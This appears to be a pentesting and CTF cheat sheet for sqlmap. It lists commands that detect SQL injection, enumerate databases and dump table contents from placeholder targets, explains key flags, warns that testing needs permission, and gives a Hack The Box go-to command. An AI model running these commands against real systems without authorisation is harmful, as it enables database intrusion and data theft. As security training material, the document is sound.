sqlmap

• 🔗 Official Resources
• 🚀 Common Commands
• 🏷️ Useful Flags
• 📚 Resources
• 🏆 HTB CTF Go-To Command

TIP

sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in database systems.

🔗 Official Resources

• sqlmap Website
• sqlmap GitHub

🚀 Common Commands

Task	Command
Basic SQL injection test	sqlmap -u "http://target.com/page.php?id=1"
Specify a POST request	sqlmap -u "http://target.com/page.php" --data="id=1"
Enumerate databases	sqlmap -u "http://target.com/page.php?id=1" --dbs
Dump database tables	sqlmap -u "http://target.com/page.php?id=1" -D dbname --tables
Dump table data	sqlmap -u "http://target.com/page.php?id=1" -D dbname -T tablename --dump

🏷️ Useful Flags

Flag	Description
-u	Target URL
--data	Data string for POST requests
--cookie	Use cookies for authentication
--dbs	Enumerate databases
-D	Specify database name
--tables	List tables in a database
-T	Specify table name
--columns	List columns in a table
--dump	Dump database/table contents
--batch	Non-interactive mode

WARNING

Always have permission before testing a website with sqlmap. Unauthorized testing is illegal and unethical.

📚 Resources

• sqlmap Documentation

🏆 HTB CTF Go-To Command

A common sqlmap command for dumping all databases in HTB CTFs:

sqlmap -u "http://10.10.10.10/index.php?id=1" --batch --dbs

• -u : Target URL (replace with the actual target IP and parameter)
• --batch : Non-interactive mode (auto-accepts defaults)
• --dbs : Enumerate databases